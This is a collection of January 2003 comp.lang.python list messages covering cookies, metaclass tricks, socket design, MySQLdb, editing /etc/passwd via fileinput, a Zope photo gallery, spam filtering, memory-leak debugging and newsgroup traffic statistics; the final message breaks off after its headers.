From printers at sendme.cz  Sat Jan 18 07:53:20 2003
From: printers at sendme.cz (A)
Date: Sat, 18 Jan 2003 13:53:20 +0100
Subject: Cookies module 
Message-ID: <3E295C50.29055.554F41B@localhost>

Hi all,
Is there a cookie module that handles cookies on a client side and would work with httplib 
module?
For example:
Server returns the  following cookies:

Set-Cookie: compid=1342; expires=
Set-Cookie: password=BMA; expires=
Set-Cookie: company=BMA TRADING s.r.o.; expires=
Set-Cookie: email=export at send.com; expires=Fri, 02-Dec-50 00:00:00 GMT
Set-Cookie: temppassword=; expires=Thu, 01-Jan-1970 00:00:00 GMT

I have a procedure that can create
compid=1342;password=BMA;company=BMA TRADING s.r.o.;email=export at send.com

but the right is 
email=export at send.com; compid=1342; password=BMA; company=BMA TRADING s.r.o

Please note the order.

 And this is only one type of returned cookies. I do not know how difficult it would be to 
think about all varieties e.g. if Path is present.
 

Thanks for help.
Ladislav






From bokr at oz.net  Sun Jan 12 22:15:41 2003
From: bokr at oz.net (Bengt Richter)
Date: 13 Jan 2003 03:15:41 GMT
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com> <x77kd9ss6o.fsf@guru.mired.org> <3E222975.F176575D@alcyone.com>
Message-ID: <avtb0t$gr9$0@216.39.172.122>

On Sun, 12 Jan 2003 18:50:29 -0800, Erik Max Francis <max at alcyone.com> wrote:

>Mike Meyer wrote:
>
>> "Kevin Ethridge" <kevinethridge at yahoo.com> writes:
>>
>> > Why doesn't map() work with the print function?
>> > ie map(print, ['Have', 'a', 'great', 'day.'])
>> 
>> Because print isn't a function, it's a statement. It will work with
>> sys.stdout.write.
>
>Only if wrapped in a lambda.  Don't forget that trailing newline that's
>implicit in a print statement (one with no trailing comma, anyway):
>
>	lambda x: sys.stdout.write(x + '\n')
>
And then there's softspace ;-)

Regards,
Bengt Richter



From mwh at python.net  Wed Jan 29 07:14:36 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 12:14:36 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> <mailman.1043799538.401.python-list@python.org>
Message-ID: <7h3el6w17cp.fsf@pc150.maths.bris.ac.uk>

Laura Creighton <lac at strakt.com> writes:

> Typing 400 words a minute helps as well.  I cannot do that yet, but
> one person here at Strakt can.  Utterly awesome.  I thought that
> 200 words was good....

I think I can guess who that is :)

Cheers,
M.

-- 
  > So what does "abc" / "ab" equal?
  cheese
         -- Steve Holden defends obscure semantics on comp.lang.python



From vvainio at tp.spt.fi  Mon Jan 20 04:11:23 2003
From: vvainio at tp.spt.fi (Ville Vainio)
Date: 20 Jan 2003 01:11:23 -0800
Subject: comprehensions was Re: Switch statements again
References: <mailman.1042817433.6322.python-list@python.org>
Message-ID: <ad496f8.0301200111.2b3194c4@posting.google.com>

Tim Peters <tim.one at comcast.net> wrote in message news:<mailman.1042817433.6322.python-list at python.org>...

> At the time, lexical nesting didn't yet exist in Python either.  The case
> for "magically local" bindings has gotten stronger since lexical nesting was
> added, but now we've got a backwards compatibility burden too.

Backwards compatibility would be less of a burden if it was flagged as
"possibly unsupported in the future" in the documentation. At least it
would do a bit to alleviate the embarrassment felt when explaining the
feature to colleagues, 5 minutes after touting how well designed
python is ;-).



From mis6 at pitt.edu  Thu Jan  9 11:37:56 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 9 Jan 2003 08:37:56 -0800
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <2259b0e2.0301090837.2bcdf1d8@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message news:<6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71 at 4ax.com>...
> I've written this method for a text formatting class...
> But it's ugly as sin. With all those self's I consider
> it much less readable than it could be...
> 
> A few languages provide syntax sugar for dealing with
> this by allowing you to localize the class scope.
> 
> Does Python? eg. `with self do:`
> 
>   def format( self, width=80 ):    
>     self.lines = ['']
>     i = 0
>     for word in self.text.split():  
>       if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>         if self.textwidth(self.lines[i]) > 0:
>           self.lines[i] += ' '
>         self.lines[i] += word
>       else:
>         i += 1
>         self.lines.append(word)
You may get rid of self with dirty tricks. 

I have posted few days ago a solution involving metaclasses which allows
Python to recognize _x as a shortcut for self.x. For instance your code
would read

from noself import Noself

class D(Noself):
    text='Hello world!' #put here your text
    def textwidth(self,x): #put here your textwidth function
        return len(x)
    
    def format( self, width=80 ):    
        _lines = ['']
        i = 0
        for word in _text.split():  
            if _textwidth(_lines[i]) + _textwidth(word) <= width:
                if _textwidth(_lines[i]) > 0:
                    _lines[i] += ' '
                    _lines[i] += word
                else:
                    i += 1
                    _lines.append(word)

d=D()
d.format()
print d.lines

I don't know if this is elegant enough for you. It works with Python 2.2,
but it has some limitations (for instance you cannot use methods
defined trough lambda functions). Moreover, in the present form, 
_x is replaced with self.x even inside strings, which is bad.
Finally, you will break pre-existing code using variables of
kind "_x".

Nevertheless, I send the script to you to show that a solution is possible,
but not recommended, since you would confused all Pythonistas if
you use that instead of self.

--- begin noself.py ---

import re,inspect

def selfexpand(cls):
    """Given a class, looks in its methods and expands identifiers starting
    with _ to self. For instance, _x --> self.x. Identifiers starting with
    __ are expanded as __x --> self._classname__x. Identifiers of the
    form __something__ are ignored. This first version is very stupid and
    does the replacement in comments (no big harm) and strings
    (potentially big harm!) too."""

    __id__=r'(\b__\w+?__\b)' #first, look at this kind of identifier
    __id  =r'\b__(\w*)'    #then, at this kind
    _id   =r'\b_([a-zA-Z_]\w*)'    #then, at this kind
    regexp=re.compile('|'.join([__id__,__id,_id]))

    def sub(match):
        i=match.lastindex; g=match.group(i)
        if   i==1: return g # do nothing
        elif i==2: return 'self._%s__%s' % (cls.__name__,g)
        elif i==3: return 'self.%s' % g
        
    def kill_initial_spaces(text):
        lines=text.splitlines(); firstline=lines[0]
        spaces=len(firstline)-len(firstline.lstrip())
        if not spaces: return text
        else: return '\n'.join([line[spaces:] for line in lines])
        
    def modify(method):
        source=kill_initial_spaces(inspect.getsource(method))
        code=regexp.sub(sub,source) # print code
        d={}; exec code+'\n' in d
        setattr(cls,method.__name__,d[method.__name__])
 
    for key,val in cls.__dict__.items():
        if inspect.isroutine(val): modify(val)

class Noself:
    class __metaclass__(type):
        "Classes who inherit from Noself automagically call selfexpand"
        def __init__(cls,name,bases,dic): selfexpand(cls)

--- end noself.py ---



From chris_mk at hotmail.com  Thu Jan  2 18:26:25 2003
From: chris_mk at hotmail.com (Christopher)
Date: 2 Jan 2003 15:26:25 -0800
Subject: How do I initialize a list please?
References: <ncc31vghl2c14mage2skeueuffkdpcnnt4@4ax.com> <mailman.1041347835.14601.python-list@python.org> <cc14131d.0212311349.3844d464@posting.google.com> <3E12178B.2060107@tismer.com> <3E121E42.1000504@rogers.com> <mailman.1041384902.12610.python-list@python.org>
Message-ID: <cc14131d.0301021526.70d7094b@posting.google.com>

Christian Tismer <tismer at tismer.com> wrote in message news:<mailman.1041384902.12610.python-list at python.org>...
> 
> Absolutely, Mike, I agree.
> 
> I just could not extend to this, since an obvious
> one-liner must live in a short message, or it
> will miss its desired effect.
> I was waiting for this, thanks for chiming in.
> 
> the-opposite-would-require-a-deep-multiply-
>    -operator-and-happy-new-year-ly y'rs - chris

Just curious again, what, exactly, is the desired effect?  It must
have been lost on me.  ;-)



From andrew-pythonlist at puzzling.org  Thu Jan 30 08:23:35 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 31 Jan 2003 00:23:35 +1100
Subject: OO design and multiple local sockets
In-Reply-To: <26200000.1043930172@localhost.localdomain>
References: <26200000.1043930172@localhost.localdomain>
Message-ID: <20030130132335.GA13850@frobozz.local>

On Fri, Jan 31, 2003 at 01:36:12AM +1300, Andrew McGregor wrote:
> I've got an awful case of writer's block on this one :-(
> 
> Problem:  I'm writing an app (an implementation of HIP, see 
> www.hip4inter.net) that uses raw sockets in a big way.  It needs to bind 
> local sockets to each IP address on the system so it can transmit packets 
> with each source address.  It also needs to know which address packets were 
> received on, and from where.  So far, so good.  It's threaded (pretty much 
> necessarily).  There are two pools of sockets for two different protocols 
> that have to interact.
> 
> Just the code for the protocol transforms and state machines is about 7k 
> lines, including tests, and works, but with only a single unbound local 
> socket, so some features I can't do yet.
> 
> What I can't figure out is what a clean OO design for the socket handling 
> looks like, managing the various queues and worker threads without getting 
> really hairy.  Can anyone help?

For OO design inspiration for socket programming, I suggest looking at
Twisted <http://twistedmatrix.com/> -- although admittedly it is rather
different to your design (being single-threaded asynchronous rather than
multi-threaded).  In particular its Factory and Protocol classes may be of
interest.

In fact, I'd really tempted to use Twisted for this -- have you looked at
it?  I've found it excels for writing servers that involve multiple
protocols.

(Not that being a developer of Twisted makes me biased or anything...)

-Andrew.





From clifford.wells at attbi.com  Sat Jan  4 14:27:13 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 11:27:13 -0800
Subject: new years resolutions
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE7C@admin56.narex.com>
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE7C@admin56.narex.com>
Message-ID: <1041708433.6001.63.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 08:46, Bjorn Pettersen wrote:
> > From: andy [mailto:andy at eastonwest.co.uk] 
> [...]
> > On a purely personal level, I *feel* that programming, to me, 
> > is solving a problem by the use of a computer-programming 
> > language.  To me, HTML coding doesn't *feel* like that, but 
> > maybe that's because I'm not very *good* at it...  I think 
> > its because of the lack of control structures (I am trying to 
> > self-analyse to figure out what I mean)... having said that, 
> > I suppose tables, for instance resemble control structures...
> [...]
> 
> I told myself I wasn't going to keep this thread alive anymore, but then
> who said I was either principled or consistent <wink>.

Probably many people who responded to this thread told themselves the
same thing, so you're at least consistent with them (myself included)
<wink>

> I think the above is the crux of the problem however. Ask yourself (i)
> would I write HTML pages differently if I considered it programming?,
> (ii) would I write Python programs differently if I considered writing
> HTML programming?, (iii) would I view people writing HTML differently if
> they were allowed to call it programming?, and finally, (iv) do I think
> other people would view me differently if writing HTML was also
> considered programming?
> 
> My personal answers are no, no, no, and I don't care. Wheter writing
> HTML is programming makes no difference to anything I'm doing, nor do I
> expect, does it to any of our web designers. It's a fact of life that I
> couldn't do their work, and they couldn't do mine -- and I don't have
> enough hubris to suggest that my work is either harder, more important,
> or more meaningful (I'm having a hard time seeing another reason for
> making a distinction... i.e. tell my _why_ you want do make a
> distinction and the "how" should be much easier). Besides, even I end up
> writing a lot of HTML (aka documentation) -- should I change my title to
> "Software Architect/HTML writer" <wink>? (As an experiment, try telling
> your boss you don't want to write documentation, in HTML, since you're a
> _programmer_ <grin>).
> 
> Finally, it seems rather silly to try to define set membership (is HTML
> in the set of programming languages?) as a all or nothing (function
> returning either 0 or 1) when (a) you don't have a concrete definition,
> (b) it seems to rely on a combination of factors in varying degrees, and
> (c) a good number of the people interested all but define it as the
> intent _they're_ having when _they're_ writing HTML ("HTML is something
> I use for documentation, for my _real_ work I use X".) For a much better
> (or at least more interesting) approach google for "Russel's paradox"
> and "fuzzy logic".

I think the thing that gave this thread its energy was because it was
started by someone flaming a newbie over a fairly trivial and offhand
remark.  That tends to get people's hackles up and the lines get drawn
fairly quickly.  Once people have announced their positions they are
reluctant to withdraw from that position and yet are too polite (thank
you) to invoke the Hitler clause bringing the thread to its logical
conclusion and yet can't quite stop arguing.


> ok-I'll-shut-up-now'ly y'rs

*Sure* you will <wink>:  self.consistency -= 1


Arguments-are-the-crack-pipe-of-usenet'ly yrs,

-- 
Cliff Wells <clifford.wells at attbi.com>





From gerhard.haering at opus-gmbh.net  Wed Jan 15 07:34:40 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 15 Jan 2003 12:34:40 GMT
Subject: Using list_dbs() and list_tables function of MySQLDB with python
References: <12fcb4be.0301150422.336d00a4@posting.google.com>
Message-ID: <slrnb2al11.1f0.gerhard.haering@haering.opus-gmbh.net>

sonu <u2_sonu at yahoo.co.in> wrote:
> dear friends,
> 
> i m using list_dbs() and list_tables() function in my application but
> finding a problem in running this code successfully.
> 
> The code i m using is:
> # !/usr/bin/Python
> import MySQLdb
> hostname = "192.168.0.11"
> username = "root"

Using the root user like this is a very bad idea.

> password = ""

With an empty password even more so.

> database = "test"
> conn = MySQLdb.connect (hostname, username, password, database)
> for db in conn.list_dbs():
>     for tbl in conn.list_tables(db[0]):

You can't use SQL functions like this (using methods on the connection
object). Instead use something like:

    cursor = conn.cursor()
    cursor.execute("select list_dbs()")
    for db_row in cursor.fetchall():
        cursor.execute("select list_tables(%s)", (db_row[0],))
        for table_row in cursor.fetchall():
            # ...

Note the use of DB-API parameter binding.

> [...] Please help me in solving the problem.

You should consider reading some more about the Python DB-API. URLs of
interest are:

http://www.python.org/peps/pep-0249.html
http://www.amk.ca/python/writing/DB-API.html

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From tim.one at comcast.net  Wed Jan 22 20:42:42 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 22 Jan 2003 20:42:42 -0500
Subject: logging module missing in 2.3a1
In-Reply-To: <f9068f8e.0301221602.3d97dbd@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEOMDJAB.tim.one@comcast.net>

[Janto Dreijer]
> Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit
> (Intel)] on win32
           ^^^^^^^^
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help
> >>> import logging
> Traceback (most recent call last):
>   File "<pyshell#0>", line 1, in ?
>     import logging
> ImportError: No module named logging
> >>>
>
> Eh? Is there something I'm missing?
> Or is the actual code a bit behind wrt the documentation?

The Windows installer wasn't updated to include this new package.  It's been
fixed (for 2.3a2).





From aleax at aleax.it  Wed Jan 29 10:08:14 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 15:08:14 GMT
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <mailman.1043758549.8656.python-list@python.org> <3e36afd5$0$26195$a1866201@newsreader.visi.com>
Message-ID: <y7SZ9.135887$AA2.5628594@news2.tin.it>

Grant Edwards wrote:

> In article <mailman.1043758549.8656.python-list at python.org>, Andy Jewell
> wrote:
> 
>> for record in records[:]:
>> 
>> 2) Rewrite the records list back to the file.  Modifying the records
>> /list/ merely changes the copy in memory.
> 
> Writing to a file like /etc/passwd is generally considered "A
> Bad Thing".  When you want to change a critical (and "live")
> file whose corruption will render your system inoperable,
> always use a temporary file and then rename it.

Incidentally, module fileinput can do that for you -- when you
specify the parameter requesting "inline rewrite" of the files
being processed, what fileinput does under the cover is exactly
this -- write to temporary files and replace the input files
with the temporary ones when each is done.

So...:

import fileinput

for line in fileinput.input('/etc/passwd', inplace=1):
    fields = line.split(':')
    if fields[3] == "200":
        fields[3] = 199
        line = ':'.join(fields)
    print line,


Alex




From andrew-pythonlist at puzzling.org  Thu Jan  9 08:21:43 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 10 Jan 2003 00:21:43 +1100
Subject: Do pythons like sugar?
In-Reply-To: <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com>
Message-ID: <20030109132143.GB31993@frobozz.local>

On Thu, Jan 09, 2003 at 12:54:24PM +0000, Afanasiy wrote:
> On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
> <andrew-pythonlist at puzzling.org> wrote:
> >> 
> >> You don't know what I am doing. My design is perfect.
> >
> >What is good design for one language isn't necessarily good design for
> >another.  Python offers different features to, say, C++, and is best used in
> >different ways.  I would recommend that you try to understand the pythonic
> >world-view better, rather than insisting on imposing your preconceptions on
> >us... my experience agrees with Andrew Dalke's; explicit self is much better
> >than the alternatives.
> 
> If the "pythonic world-view" is that code which would look better with
> implicit self is "poor implementation", then no, I do not agree with it.

The pythonic world-view on this particular issue is that "Explicit is better
than implicit", yes.

> Please note I am not complaining out about the lack of this possibility.
> I only have a problem with the condescending tones. I guess it's normal.

In my experience, people who find this sort of thing about Python annoying
aren't using Python optimally.  My recommendation is to trust us, show us
your whole class, and invite constructive criticism on its design.  This may
sound condescending, but this newsgroup is filled with experienced Python
programmers, and I would be very surprised if you considered yourself better
at writing Python than them.

-Andrew.





From karsten at rohrbach.de  Sat Jan  4 04:48:28 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 4 Jan 2003 09:48:28 GMT
Subject: Simple Zope Photo Album
References: <74977d59.0301031118.75afd76d@posting.google.com>
Message-ID: <slrnb1dbkp.22e2.karsten@datasink.webmonster.de>

mlorfeld <tutal at msn.com> wrote:
[...]
> image, python script, wiki).  So basically I'm looking for a Q&D
> pytyhon/dtml/html code snippit that will dynamically create a photo
> album.  Any suggestions?

- Install ImageMagick locally
- Create a work directory hierarchy
    $ mkdir work
    $ mkdir work/img
    $ mkdir work/thumb
- Put all images into ./work
- run ImageMagick over them to create jpg and thumbnails
  (presented script is from my work dir wich contains only PNG images,
  I publish JPEG pictures)
    #!/bin/sh
    for i in *.png
    do
	FNAME=`echo -n ${i} | sed s/.png$//`
	echo ${FNAME}
	convert ${i} ./img/${FNAME}.jpeg
	convert ${i} -geometry 96x96 ./thumb/${FNAME}.jpeg
    done
- Now FTP to your Zope server and upload the two directories relative to
  you gallery container object (Folder) - I use NcFTP for that
  (recursive put)
- on the Zope side you can install a simple DTML method which creates a 5
  by somewhat table of thumbnails. [1]
    <dtml-let numpics="_.len(img.objectIds(['Image']))">
    <table class="gallery" align="center">
    <dtml-in expr="img.objectValues(['Image'])" sort="id">
	<dtml-let seq=sequence-number>
	<dtml-if "(seq - 1) % 5 == 0">
	    <tr>
	</dtml-if>
	<td class="gallery"><a href="pics/<dtml-var "getId()">" 
	    target="_blank"><img src="thumbs/<dtml-var "getId()">" 
            border="0" alt="[]"></a></td>
	<dtml-if "seq % 5 == 0">
	    </tr>
	</dtml-if>
	</dtml-let>
    </dtml-in>
    </tr>
    </table>
    <p align="right">
    (<dtml-var numpics > Photos)
    </p>
    </dtml-let>

The beneift is, that you won't need any additional Zope products. The
drawback is the hackish generation of URLs (which produces relative URLs
that might lead to acqusition problems, depending on where you put the
DTML method).

Regards,
/k

[1] http://www.rohrbach.de/Content/Karsten/Pics




From -$P-W$- at verence.demon.co.uk  Mon Jan 13 15:07:45 2003
From: -$P-W$- at verence.demon.co.uk (Paul Wright)
Date: Mon, 13 Jan 2003 20:07:45 +0000 (UTC)
Subject: OT: spam filtering idea
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com>
Message-ID: <avv6ah$clk$1@verence.demon.co.uk>

In article <7xr8bhhy0n.fsf at ruckus.brouhaha.com>,
Paul Rubin  <phr-n2002b at NOSPAMnightsong.com> wrote:
>The next step is to collect the frequency statistics at various
>honeypots around the net, automatically combining them and transfering
>them to public databases.  Your filter can then retrieve new
>statistics over the net every few hours.  Any spam you receive will
>probably also hit a honeypot at about the same time that you get it.
>So since the statistics you've retrieved are weighted for the latest
>and freshest spam, you should be able to kill it very effectively.

I thought the point of Bayesian filtering was that it learned about your
spam and your legitimate email, so that learning what other people
considered spam wouldn't be as effective. I'm no expert on this, though.
I expect Tim Peters will be along in a minute :-)

<http://www.jerf.org/irights/2002/11/18.html> argues that human malice
can and will defeat Bayesian filters, and that widespread adoption of
them will end up making spam harder to recognize by hand. I'm a little
concerned that the author of the article overestimates the intelligence
of spammers, but I suppose there's a selection pressure on them to get
more cunning as time goes on. The people who successfully spam my
Hotmail spam trap these days are certainly getting cleverer, presumably
in response to Brightmail filtering.

A system which works by reporting mail to honeypots would be better off
reporting hashes of message bodies to something like Vipul's Razor or
the Distributed Checksum Clearinghouse. That said, the obvious spammer
response when people do that is to make messages which are more and more
dissimilar for each recipient, again something where human malice can
probably defeat automated attempts to find similar messages. The DCC's
creator has said that he thinks that it will eventually be most useful
against "mainsleaze", that is, spam from big businesses who will not
want to use the sort of filter-evading tactics which are popular with
the "enlarge your naked cheerleaders"[1] crowd.

[1] How many boneheaded keyword filters will now bounce this post when
it goes out as mail on the python list, I wonder? There's an awful lot
of snake oil out there being sold as spam filters.

-- 
Paul Wright | http://pobox.com/~pw201 |



From martin at v.loewis.de  Fri Jan  3 15:37:55 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 03 Jan 2003 21:37:55 +0100
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
Message-ID: <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> With upper limit of 900 pages the peak working set is 15M with 2700
> it rises to 45M. This seems to be a real leak, but how can I track
> it down?

I'd use some of the more recent checking facilities: 

1. set the gc debug flags to gc.DEBUG_STATS, then invoke gc.collect(),
   then check how many new objects where collected.

2. check gc.garbage to make sure you don't have cycles with
   finalizers.

3. invoke gc.get_objects from time to time, and print its length, to
   see the total number of container objects. Verify that it is indeed
   growing over time.

4. count the list of container objects by type, print the number of
   objects per type, to find what new objects you are allocating. If
   these are instance objects, further divide them by class.

5. Once you have an object which keeps a lot of other objects alive,
   and which should have been released, use gc.get_referrers to find
   out why it is still alive itself.

HTH,
Martin




From max at alcyone.com  Mon Jan  6 23:21:34 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 06 Jan 2003 20:21:34 -0800
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122>
Message-ID: <3E1A55CE.59A4BAE0@alcyone.com>

Bengt Richter wrote:

> What it boils down to is that there are enough codes for two sets
> of encodings plus 9023 special codes. You can think of it as a single
> bit attribute for arbitrary subsequences of binary bytes with no extra
> encoding characters vs doing them separately as before, and 9023
> integer
> codes can be inserted also at a cost of 3 code characters apiece. You
> can think of them as available escape codes.

My initial, gut reaction to this is that you're getting too fancy for
your own good.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Can I walk with you / Through your life
\__/ India Arie
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From wilk-spamout at flibuste.net  Sat Jan 25 15:42:32 2003
From: wilk-spamout at flibuste.net (William)
Date: 25 Jan 2003 21:42:32 +0100
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <877kct1tgk.fsf@flibuste.net> <b0unpk$6aj$1@bob.news.rcn.net>
Message-ID: <87znppx8p3.fsf@flibuste.net>

thanks to 
Aaron K. Johnson <akjmicro at yahoo.com>:

the french stats (december 2002)

i'v added the total of messages and the % of messages by author
fr.comp.lang.php          1231   4661 3.79
fr.comp.lang.java          974   3541 3.64
fr.comp.lang.c++           644   6074 9.43
fr.comp.lang.c             577   4240 7.35
fr.comp.lang.javascript    536   2221 4.14
fr.comp.lang.perl          359   1234 3.44
fr.comp.lang.basic         351   1001 2.85
fr.comp.lang.pascal        167    495 2.96
fr.comp.lang.general       156    357 2.29
fr.comp.lang.python        154    753 4.89
fr.comp.lang.ada           113    408 3.61
fr.comp.lang.tcl            76    304 4.00
fr.comp.lang.caml           68    355 5.22
fr.comp.lang.lisp           46     77 1.67
fr.comp.lang.postscript     26     39 1.50

:((( i go to post this stats on the french newsgroup, it will be
one more for the next month !

I want to interpret this like that: python is so easy that we don't need
to post any question on newsgroup.


> In message <877kct1tgk.fsf at flibuste.net>, William wrote:
> > Aaron K. Johnson <akjmicro at yahoo.com> writes:
> > 
> > > Ok.
> > > 
> > > I've finally taken into account the objections raised herein, and
> > modified my
> > > usenet query algorithms.
> > > 
> > > What you see below are pure and simple the number of unique posters to
> > each
> > > comp.lang.whatever hierarchy in December 2002.
> > 
> > can you give us your script ? i would like to compare with fr.comp.lang.*
> 
> William, I'll send you a private email with the script.
> 
> Anyone else who wants it, I'll send it to you, with the caveat that any
> improvements you make to it, you send back to me, or uses you put it to, you
> give me the output to......
> 
> > > 
> > > Thanks,
> > > Aaron.
> > > 
> > > comp.lang.java 5347
> > > comp.lang.c++ 3075
> > > comp.lang.perl 2136
> > > comp.lang.javascript 2130
> > > comp.lang.python 1996
> > > comp.lang.basic 1758
> > > comp.lang.c 1670
> > > comp.lang.labview 958
> > > comp.lang.clipper 922
> > > comp.lang.tcl 853
> > > comp.lang.pascal 805
> > > comp.lang.ruby 767
> > > comp.lang.clarion 707
> > > comp.lang.lisp 587
> > > comp.lang.fortran 517
> > > comp.lang.smalltalk 391
> > > comp.lang.asm 386
> > > comp.lang.cobol 382
> > > comp.lang.ada 376
> > > comp.lang.vhdl 370
> > > comp.lang.scheme 349
> > > comp.lang.postscript 319
> > > comp.lang.prolog 243
> > > comp.lang.functional 237
> > > comp.lang.idl-pvwave 230
> > > comp.lang.forth 226
> > > comp.lang.verilog 223
> > > comp.lang.awk 211
> > > comp.lang.vrml 153
> > > comp.lang.rexx 147
> > > comp.lang.apl 142
> > > comp.lang.mumps 126
> > > comp.lang.pl1 121
> > > comp.lang.misc 115
> > > comp.lang.objective-c 108
> > > comp.lang.eiffel 101
> > > comp.lang.logo 80
> > > comp.lang.ml 73
> > > comp.lang.asm370 65
> > > comp.lang.dylan 38
> > > comp.lang.modula3 30
> > > comp.lang.oberon 26
> > > comp.lang.modula2 23
> > > comp.lang.pop 22
> > > comp.lang.icon 17
> > > comp.lang.idl 15
> > > comp.lang.limbo 5
> > > comp.lang.clos 4
> > > comp.lang.prograph 2
> > > comp.lang.clu 2
> > > 
> > 
> 
> 

-- 
William Dode - http://flibuste.net



From throwaway at mit.edu  Thu Jan 30 14:53:41 2003
From: throwaway at mit.edu (Alex Coventry)
Date: 30 Jan 2003 14:53:41 -0500
Subject: Segmentation fault??
References: <3E39794D.8030203@nipltd.com>
Message-ID: <87u1fqs9bu.fsf@mit.edu>

you may want to check that your memory is still good.  

alex.



From bokr at oz.net  Wed Jan  8 19:53:16 2003
From: bokr at oz.net (Bengt Richter)
Date: 9 Jan 2003 00:53:16 GMT
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <7x4r8jbui3.fsf@ruckus.brouhaha.com> <avhn7c$age$0@216.39.172.122> <7xhecjsea0.fsf@ruckus.brouhaha.com> <avievs$8n0$1@slb6.atl.mindspring.net>
Message-ID: <avih5s$44r$0@216.39.172.122>

On Wed, 08 Jan 2003 17:08:21 -0700, Andrew Dalke <adalke at mindspring.com> wrote:
[...]
>
>BTW, I do line folding somewhat often, and wouldn't mind having a
>function or string method which did that.  Not enough to push for
>it though, since it is easy to write.  And some people who want
>folds also want a continutation character, like a "\" at the end
>or a ">" at the start, but having a library function which supports
>those is too much.
>
>Bah, I'll stick with writing bio/chem software instead of worrying
>about all of this.  :)
>

How about one that does this:

BTW, I do  line folding  somewhat often,  and wouldn't  mind
having a  function  or string  method  which did  that.  Not
enough to push for it though, since it is easy to write. And
some  people  who  want  folds  also  want  a  continutation
character, like a "" at the end  or a ">" at the start,  but
having a library function which supports those is too much.

Bah, I'll stick  with writing bio/chem  software instead  of
worrying about all of this. :)

Or this:

    BTW, I  do  line  folding   the end or  a ">" at  the
    somewhat    often,    and   start,   but   having   a
    wouldn't  mind  having  a   library  function   which
    function or string method   supports  those  is   too
    which   did   that.   Not   much.
    enough  to  push  for  it
    though, since it is  easy   Bah,  I'll   stick   with
    to write. And some people   writing bio/chem software
    who want folds also  want   instead of worrying about
    a           continutation   all of this. :)
    character, like  a ""  at

I posted a string subclass doing the above, but nobody noticed ;-)

Regards,
Bengt Richter



From bruce at hoult.org  Wed Jan  1 02:49:05 2003
From: bruce at hoult.org (Bruce Hoult)
Date: Wed, 01 Jan 2003 20:49:05 +1300
Subject: No macros in Python
References: <20021215204402.861.55351.Mailman@mail.python.org> <mailman.1039989621.21829.python-list@python.org> <3DFD5BC2.CF5175E6@engcorp.com> <x7znr6h5on.fsf@guru.mired.org> <3dfdd4ab$0$71707$edfadb0f@dread11.news.tele.dk> <x7adj5hgsq.fsf@guru.mired.org>
Message-ID: <bruce-EE050F.20490501012003@copper.ipg.tsnz.net>

In article <x7adj5hgsq.fsf at guru.mired.org>, Mike Meyer <mwm at mired.org> 
wrote:

> "Anders J. Munch" <andersjm at dancontrol.dk> writes:
> 
> > "Mike Meyer" <mwm at mired.org> wrote:
> > > Macros are a general-purpose mechanism. There are lots of things they
> > > let you do. Lazy evaluation, infinite lists, CLOS, short-circuit
> > > booleans, and so on. 
> > No, s-expressions buy you those things, not macros.  Macros don't
> > provide expressiveness, they provide speed and some convenience, say
> > to let you write:
> 
> Since I can do those things with macros and without s-expressions, I
> disagree. Well, maybe not CLOS.

Dylan does a version of CLOS (and all the others listed) with macros and 
without S-expressions.

-- Bruce



From cnetzer at mail.arc.nasa.gov  Mon Jan 13 17:00:47 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 13 Jan 2003 14:00:47 -0800
Subject: Elegant copy-by-value
